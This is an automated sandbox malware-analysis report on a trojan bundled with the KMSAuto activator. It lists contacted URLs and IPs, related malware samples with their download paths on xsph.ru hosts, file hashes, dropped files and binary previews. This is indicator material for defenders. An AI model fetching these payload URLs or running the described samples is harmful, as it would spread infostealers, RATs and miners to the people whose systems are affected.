http://www.jiyu-kobo.co.jp/ito	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/	KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	KMSAuto Net.exe, 00000002.00000003.267182751.0000000005D3D000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cp.sprinthost.ru	csrss.exe, 00000001.00000003.255564669.0000000002E04000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.274376515.0000000002E0C000.00000004.00001000.00020000.00000000.sdmp, csrss.exe, 00000001.00000003.255583166.0000000002E08000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-jones.html	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://goo.gl/eD7s9XShowWindowDominican	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
http://goo.gl/eD7s9Xg	KMSAuto Net.exe, 00000002.00000000.252237819.0000000000012000.00000002.00000001.01000000.00000005.sdmp, KMSAuto Net.exe.0.dr	false		high
http://www.jiyu-kobo.co.jp/	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp, KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.c#	KMSAuto Net.exe, 00000002.00000003.267584430.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers8	KMSAuto Net.exe, 00000002.00000002.520333234.0000000006F12000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/b	KMSAuto Net.exe, 00000002.00000003.269268617.0000000005D04000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.8.192.151	f0355889.xsph.ru	Russian Federation		35278	SPRINTHOSTRU	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	834745
Start date and time:	2023-03-25 14:26:09 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@15/12@1/1
EGA Information:	Successful, ratio: 33.3%
HDC Information:	Successful, ratio: 100% (good quality ratio 50%) Quality average: 21% Quality standard deviation: 12%
HCA Information:	Successful, ratio: 76% Number of executed functions: 20 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WerFault.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Execution Graph export aborted for target ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe, PID 4204 because there are no executed function
Execution Graph export aborted for target csrss.exe, PID 5224 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:27:15	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.8.192.151	gOKMPhOLiN.exe	Get hash	malicious	Phoenix Miner, ccminer	Browse	f0758246.xsph.ru//zima.php?mine=ETC
	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Unknown	Browse	f0719949.xsph.ru/dropbox.exe
	DWG Material, Standard BS 4360 GR. 40A43A.jar	Get hash	malicious	Unknown	Browse	f0719949.xsph.ru/dropbox.exe
	dropbox.exe	Get hash	malicious	Unknown	Browse	f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
	DWG spare parts 455RTMGF Model.exe	Get hash	malicious	Remcos	Browse	f0719949.xsph.ru/Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh
	NotaFiscal.msi	Get hash	malicious	Unknown	Browse	f0717271.xsph.ru/serv.php
	Revised sales contract for Crosswear.rtf	Get hash	malicious	Snake Keylogger	Browse	f0705964.xsph.ru/mum.exe
	cxbqjWw79R.exe	Get hash	malicious	Xmrig	Browse	f0702521.xsph.ru/cmd.php?hwid=computer%5Cuser&gpuname=88P9A4OS;%20&mining=1&active=XMR
	IVBPFW.exe	Get hash	malicious	Unknown	Browse	f0702055.xsph.ru/ng.txt
	NOPL-25-JULY-001.doc	Get hash	malicious	Remcos	Browse	f0699262.xsph.ru/letter.exe
	300618c6e81ee458a3aba4188f0f24937f62974991428.exe	Get hash	malicious	RedLine, Remcos, Xmrig	Browse	f0699616.xsph.ru/RATTCRYPT.exe
	http://f0688845.xsph.ru/index.php	Get hash	malicious	Unknown	Browse	f0688845.xsph.ru/favicon.ico
	18561381.exe	Get hash	malicious	RedLine	Browse	f0645594.xsph.ru/build.exe
	bd250e1cb4f8d322a5464549dc067ac7bcbecfc2d4fca.exe	Get hash	malicious	RedLine Remcos Xmrig	Browse	f0641877.xsph.ru/lam1di.exe
	9WPRwZwY47.exe	Get hash	malicious	RedLine	Browse	f0624763.xsph.ru/MicrosoftApi.exe
	2a09Y5NsoG.exe	Get hash	malicious	Amadey RedLine SmokeLoader Tofsee Vidar	Browse	f0611101.xsph.ru/1.exe
	NFe_09112021123.msi	Get hash	malicious	Hidden Macro 4.0	Browse	f0589562.xsph.ru//arqvs//zlibai.dll
	VapeV4Installer (2).exe	Get hash	malicious	Unknown	Browse	f0587499.xsph.ru/dop.exe
	7ofFMoirr5.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	f0589056.xsph.ru/bfs.exe
	SecuriteInfo.com.W32.AIDetect.malware1.10225.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	f0589056.xsph.ru/bfs.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINTHOSTRU	9943942BF1ECA23FF0436ACD54810DC44DFF46CA3A8AC.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	SecuriteInfo.com.Win32.CrypterX-gen.30319.24724.exe	Get hash	malicious	Stealc, Vidar	Browse	185.251.91.202
	5616zRamIw.exe	Get hash	malicious	Stealc, Vidar	Browse	185.251.91.202
	2SvK6hF5uE.exe	Get hash	malicious	Stealc, Vidar	Browse	185.251.91.202
	LuI6373nrb.exe	Get hash	malicious	Stealc, Vidar	Browse	185.251.91.202
	J5hFvhir0S.exe	Get hash	malicious	DCRat	Browse	141.8.192.82
	file.exe	Get hash	malicious	Tofsee	Browse	185.185.68.239
	file.exe	Get hash	malicious	Tofsee	Browse	185.185.68.239
	file.exe	Get hash	malicious	Tofsee	Browse	185.185.68.239
	file.exe	Get hash	malicious	Unknown	Browse	141.8.195.45
	wQNd0uhGFZ.exe	Get hash	malicious	Stealc, Vidar	Browse	185.185.68.241
	bER7DKZrkI.exe	Get hash	malicious	DCRat	Browse	141.8.192.169
	OG8UFPwwKq.exe	Get hash	malicious	DCRat	Browse	141.8.192.169
	file.exe	Get hash	malicious	Tofsee	Browse	185.251.88.202
	file.exe	Get hash	malicious	Tofsee	Browse	185.251.88.202
	https://envireaupuits-my.sharepoint.com/:u:/p/rmccormack/Efpu6Jmv2ftGi2xFsVeWXwwB7B62gSLU6hU9cVLt-LpvCQ	Get hash	malicious	Unknown	Browse	141.8.194.239
	qkmDErEpoW.exe	Get hash	malicious	DCRat	Browse	141.8.194.242
	drB8pR4ekw.exe	Get hash	malicious	DCRat	Browse	141.8.194.164
	T8xr0o2njQ.exe	Get hash	malicious	DCRat	Browse	141.8.194.242
	SEjk15RsUj.exe	Get hash	malicious	DCRat	Browse	141.8.194.242

Process:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8767160
Entropy (8bit):	7.066286542185662
Encrypted:	false
SSDEEP:	196608:wokKDywCAfywOweBzcyw3ywsywDywPbywgsywZywRywxywBywEyw4ywwywmIBywI:FywCAqwUBzBwiwxwGwPewgxwUwswMw84
MD5:	2FB86BE791B4BB4389E55DF0FEC04EB7
SHA1:	375DC8189059602F9EB571B473D723FAD3AD3D8C
SHA-256:	B8AEC57F7E9C193FCD9796CF22997605624B8B5F9BF5F0C6190E1090D426EE31
SHA-512:	3230AB05EB876879AEFC5E15BB726292640C1DDF476E4108F5C8EED2F373CB852964163CCB006E3D22BC1DC2F97AC2DB391AF9B289F21A7B099DF4C4DD94EE38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S.FX.........."...P.............".... ... ....@.. ..............................jl....`.....................................O.... ..<............................................................................ ............... ..H............text...(... ...................... ..`.rsrc...<.... ......................@..@.reloc..............................@..B........................H.......p%..x"...........G..h.z.P.......................................Z(....(....(.....o.......( .....(!.....(".....(#.....($...F.(....o....(%.....(&....s'........s(........s)........s........s+.........~....o,....~....o-....~....o.....~....o/....~....o0....~.....(1...,.r...p.....(2...o3...s4........~.....~...........~(....r-..p~....o5...(6...t....~(....r?..p~....o5...(6...t....~(....rG..p~....o5...(6...t....~(....rW..p~....o5...(6...t....~(....rg..p~....o

C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6
Entropy (8bit):	2.2516291673878226
Encrypted:	false
SSDEEP:	3:Hy:Hy
MD5:	9F06243ABCB89C70E0C331C61D871FA7
SHA1:	FDE773A18BB29F5ED65E6F0A7AA717FD1FA485D4
SHA-256:	837CCB607E312B170FAC7383D7CCFD61FA5072793F19A25E75FBACB56539B86B
SHA-512:	B947B99D1BADDD347550C9032E9AB60B6BE56551CF92C076B38E4E11F436051A4AF51C47E54F8641316A720B043641A3B3C1E1B01BA50445EA1BA60BFD1B7A86
Malicious:	false
Preview:	test..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_csrss.exe_f22660799b81b1cdf575f7ba80bebda2d012813c_4666b2e0_0a75e935\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9703695093460976
Encrypted:	false
SSDEEP:	192:iDpaOoQ9HF/69RjcPqe86/u7svS274ItiQ:i1VoQNFS9RjM/u7svX4ItiQ
MD5:	9651F04D850960647F97309303F0E260
SHA1:	887A00908DAF17CB86ED75568CD4FF540D57A21C
SHA-256:	E3DE4551AD2736C7091C78C723009EB008D4D017B55CB1827306E052FA20A26D
SHA-512:	75A386D7456CB4C788C0EEFCDD7A83F6B21D014EA992D1672870449DDEFF0D28A0229BB45736DC5179717E633C788FE91E9E1DDD297BDA1D2007966841624396
Malicious:	true
Yara Hits:	Rule: SUSP_WER_Suspicious_Crash_Directory, Description: Detects a crashed application executed in a suspicious directory, Source: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_csrss.exe_f22660799b81b1cdf575f7ba80bebda2d012813c_4666b2e0_0a75e935\Report.wer, Author: Florian Roth (Nextron Systems)
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.4.2.5.3.2.2.7.2.2.5.5.9.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.4.2.5.3.2.2.8.0.2.2.4.7.2.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.3.7.5.2.e.8.d.-.e.5.6.d.-.4.f.3.9.-.9.4.7.a.-.8.5.2.f.0.0.5.b.8.d.f.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.3.8.4.e.6.2.-.7.1.d.6.-.4.e.1.c.-.9.9.1.f.-.9.2.8.e.8.7.6.6.4.4.6.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.s.r.s.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.6.8.-.0.0.0.1.-.0.0.1.f.-.8.9.4.9.-.3.5.8.b.6.0.5.f.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.b.a.4.d.8.c.3.2.6.8.9.6.a.4.0.2.f.d.8.9.b.5.6.c.6.e.a.c.5.1.1.0.0.0.0.f.f.f.f.!.0.0.0.0.a.a.2.3.b.c.3.7.9.8.7.a.9.c.8.0.2.b.a.5.3.3.1.5.7.7.7.7.6.e.f.2.a.f.1.d.0.7.d.8.!.c.s.r.s.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.9.2././.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCAEF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Mar 25 21:27:07 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	85762
Entropy (8bit):	1.9348886947876553
Encrypted:	false
SSDEEP:	384:5/UsRPweZ82SGMFKU5z0M/XHhvZjm6/Q5ZsZKd:5/9YeZ8jTz0odFvce
MD5:	1D10629EF8FF1A4211596938F06B2BC7
SHA1:	9F5FE6CB1FE590E02A9AB8F2F551F8A627FB60B8
SHA-256:	A03757BF415604A8DFF2182F5B9A66DECE1555EA3A1EB6B5151312A51611B37C
SHA-512:	06EBBB10F0C2E8EA761B86461F37530E2D7CB7CD1B70E69AC935C6A1C3C7431EDDBA8014A46555E21927696EFE1E2F3A9E506B4BA71E2CD8EE2EC398A943C19E
Malicious:	false
Preview:	MDMP....... .......+g.d........................`................C..........T.......8...........T............0...........................!...................................................................U...........B.......!......GenuineIntelW...........T.......h...(g.d.............................0..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD51.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8320
Entropy (8bit):	3.694198497609073
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiyp6CV6Y0VZ6ekgmfCSYsjzCprB89bfeb/sfIlejm:RrlsNi86g6Y46NgmfCS/febkfOe6
MD5:	9C2F42B76BE2BF918ED18EE5DEC7D483
SHA1:	C6239ED6EBE726D61A61286F31F3BD986E2F4DF6
SHA-256:	38C842EAE184FFFE3939B215DA28C8D829D0103EBF3F6AC9BAE4A021C0454CFE
SHA-512:	BC0FA8F0B9328FE62D63849E22A70579BD468A832CFAE4C288F08ADAA698BA1FF07365212C19789B54515F12180FCBE5B6ACC2249D30F38759EE19DF943F5B66
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.2.2.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCDB0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4528
Entropy (8bit):	4.419731473106937
Encrypted:	false
SSDEEP:	48:cvIwSD8zs8JgtWI99BWgc8sqYjB8fm8M4JKH/FRs+q8Q86zU15wd:uITf6iQgrsqYaJKsW6zm5wd
MD5:	9BD6B6AFDDD8100462915BDFBCEE269E
SHA1:	02C178C0F529CDF8BB3F312BAA2C0773DEFDAC3D
SHA-256:	77166162629EF7E8EFC6F1B6D731C1937A9D38C7508EB6B1E24BA9CA1C79FD2E
SHA-512:	F66D3330C11F0F5DA5A67CC60CE5CF8A238AA3E9259247CC726FDE6F66014A2540490CAFB390837C7901E7059BEE3986E4164D46708500C443AB54267A2F80DD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1968877" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\MSfree Inc\kmsauto.ini

Download File

Process:	C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1017
Entropy (8bit):	5.232381795490283
Encrypted:	false
SSDEEP:	24:UMyxmTedVspf1bZhTWY3GNd8DBSZXud7MwTiKUQsJQKDz6KmH6KZq:UMcmTer6f17Tf3GnmShK7MqiKUYKDuKT
MD5:	AF6A20FD7DFADCD582CCF2B1BFAAF82B
SHA1:	056B1DE541D17A522F2595D107A2CB3AAA71A570
SHA-256:	0BEE97833A70AA9BA271E93226DACE849836C64919FBFE15543D694E219D4AF2
SHA-512:	66510AA69C7F8D6ED34903E588949BDD2C74DC55D9C1192A7F335757A942B5B52FF2409114CEF1E588F2E05D9C7E0B88BEF396E51D57B704F9803B3ACFF76980
Malicious:	false
Preview:	.[Configuration]..Professional=no..AddFunctions=no..NoLogo=no..LogFile=yes..LogFileIP=yes..DebugMode=no..PositionLeft=76..PositionTop=49..TaskWinStatus=no..TaskOffStatus=no..Sounds=yes..DelKMSServer=yes..OfficeActivation=no..Port=1688..AI=43200..RI=43200..ModeAuto=yes..Host=127.0.0.2..Type=0..NoAutoMode=no..ModeHook=no..ModeWD=no..ModeTAP=no..DivertDel=hard..LHost=true..Hook=true..WDivert=true..TAP=true..AutoRes=no..NoAutoNoKMS=no..TAPType=..UsePgD=yes..HookMode=0..InstallKey=false..fakeip=false..Index1=0..Index2=0..Index3=0..Index4=7..Index5=0..Index6=0..Index7=0..Index44=0......[ComboBoxHost]..127.0.0.2..10.3.0.222..127.0.0.3......[ComboBoxWinePID]..RandomKMSPID..05426-00206-471-074136-03-1049-9200.0000-1302016......[ComboBoxOff10ePID]..RandomKMSPID..05426-00096-200-349822-03-1049-9200.0000-1102013......[ComboBoxOff13ePID]..RandomKMSPID..05426-00206-234-321799-03-1049-9200.0000-1202013......[ComboBoxOff16ePID]..RandomKMSPID..05426-00206-437-321799-03-1049-9200.0000-1402016......[Co

C:\Users\user\AppData\Local\Temp\$inst\2.tmp

Download File

Process:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
File Type:	Microsoft Cabinet archive data, 36 bytes, at 0x24 "", number 1, 0 datablock, 0 compression
Category:	dropped
Size (bytes):	36
Entropy (8bit):	1.3753156176197312
Encrypted:	false
SSDEEP:	3:wDl:wDl
MD5:	8708699D2C73BED30A0A08D80F96D6D7
SHA1:	684CB9D317146553E8C5269C8AFB1539565F4F78
SHA-256:	A32E0A83001D2C5D41649063217923DAC167809CAB50EC5784078E41C9EC0F0F
SHA-512:	38ECE3E441CC5D8E97781801D5B19BDEDE6065A0A50F7F87337039EDEEB4A22AD0348E9F5B5542B26236037DD35D0563F62D7F4C4F991C51020552CFAE03B264
Malicious:	false
Preview:	MSCF....$.......$...................

C:\Users\user\AppData\Local\Temp\$inst\temp_0.tmp

Download File

Process:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
File Type:	Microsoft Cabinet archive data, many, 8199794 bytes, 2 files, at 0x2c +A "0" "1", number 1, 421 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	8199794
Entropy (8bit):	7.999668812958104
Encrypted:	true
SSDEEP:	196608:cIqkBPpjIwzMYsK6fg4/Lovsc+eQ5AdlH3sxAPflIKaQ:IkFAYsrfx8vJ+eQAd5sxAPmfQ
MD5:	5C4070FB5AA07BA7ED668328C8B0B428
SHA1:	FD82E7A296F18AA08C48CA6B2443F403198C299E
SHA-256:	1D7185461B65FB6B6502EC6766312340CF0EB31D0F70CA83BB50DAB99AF823C3
SHA-512:	9A824E09FC43626276DFBAF2E571AC862C2FF315835CC261219933A8106CA670724F138B2C43BB4C79E456748CC421BDB5669EAB7234196FAF107F78CB8F1724
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MSCF....r.}.....,...................P.........L.......dOG. .0......L....I....1.rO..x..[......>........=....J!...BA..q....BMR..A.PD.W..{7....fh.h.......Y`3.... 1LF....X.......t.A......<.z...m....su....e..X.^.u..u.{...t...nu...n...f.{`dw...\c.c.................!...# .dJL.......L.....3 ......uH...8.K.@.\|.D..j&[.$<.v.}.......f.d[d/gi/h/...4..].f^S/.`........P..F.i.B..[w./l........@/........W...S....u..................B......?...\|.6..'..........v."..=......O.Z.._4....C...........}.......`~..r.F............[.FSF....l.-i..k..q............+......H..........J.?..(...k.@.:...:... (.#...4.H."..G..:.q....4.#.....%.>.T..\....9.&0...U.%..T. h.&...s5....QL..5....S.<....dW.q@0.c.#.....2.0...'.oC.8Q......`...PL...q...w...#...1..%.My.J$...8o..E`."B.....s....A....@..0.#o..7i..v.....ab...w5.n.q..._L....n.b.!.......,.7.J7i....w.....3.o@>u..U..^$.r.A.....&.p.... .Z_.+.......M._8..}..34..9a...@.f...^.......n.!u..2?.\|..w....g.l..D......F...q.V...o.K.o.$..........m..L.N

C:\Users\user\AppData\Roaming\csrss.exe

Download File

Process:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5027840
Entropy (8bit):	7.950049918944395
Encrypted:	false
SSDEEP:	98304:jb0VjUZy2jZW9h0v6LkkDo0zaE22e8chePGMBUuOzlR8ZhHvMe8I3:jKjUZyyPv6LvNmRR8PPcuOzlgtvMe
MD5:	2A0C555C70EB25094C94E4BA5A6BA131
SHA1:	AA23BC37987A9C802BA5331577776EF2AF1D07D8
SHA-256:	CB0E4FFD650EAB6AAD6E30252D4FF8A0DC1F4F4C21227E18CB39A43F38EBA1DF
SHA-512:	E601BF86A855CFC1107A88AE27E8DBE27D00ECAE99536218A46DB9CF0102F9CD533E1A1B698914C202ED3E9AA681FDAE1E8804407FEE4A781511A9AF7FF2508C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........PE..L....^B............................gJ...........@...........................{..................@....................E.O....9F.@....................................................................................p<.............................CODE....$........................... ..`DATA................................@...BSS.....]................................idata..............................@....vmp0....>-.........................`..`.vmp1... .L.. /...L.................`..`....................................................................................................................................................................@..P........................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.293749385976843
Encrypted:	false
SSDEEP:	12288:fp8C8LpPuaO/Ehw7Ea5OHCxSvelqKruG6ZOBbdpaKELiNENR8UxNMtz:eC8LpPuaO/Ehw7Z+W
MD5:	75775F48D48EE4422AE3700E76F93726
SHA1:	C60F5D6E81406BCA405E0F99CB1879AF5C216927
SHA-256:	17D4626635666A3A02F313CD1386954D491755BE876A8F4FFAEC05225A0C08EA
SHA-512:	4A37099C88480C3DA85BBBC79006AF8627DEB44776D4F2A7F5DF8B2F1949F79975112DF6A515B79B44DAFD7CD5B5A7BC07D0DFF4186CFAC49E99925557053216
Malicious:	false
Preview:	regfj...j...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm&...`_...............................................................................................................................................................................................................................................................................................................................................7..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.8191681874552565
Encrypted:	false
SSDEEP:	768:xYARftx1JJ4JBHFAJGrq6HpukqQVSC9OGMY2hp:LdAjs
MD5:	B7324CFD72B5EE02DD5A56148095A4A4
SHA1:	E2C0C5F02EC00469EEA74FE0EB253FC13E7F0AE6
SHA-256:	59BEC8DD358347930867159D133205522C20E4CF8EBFA99460609DF444776774
SHA-512:	6C6EEB0C7C3F332135A552666E9FA010FB28C029544C4ED70B0F9CF71909B1E51B532736640309B1ACF30F3478ACE59192AB0C1B5BC487A9784E64FE3400A7D8
Malicious:	false
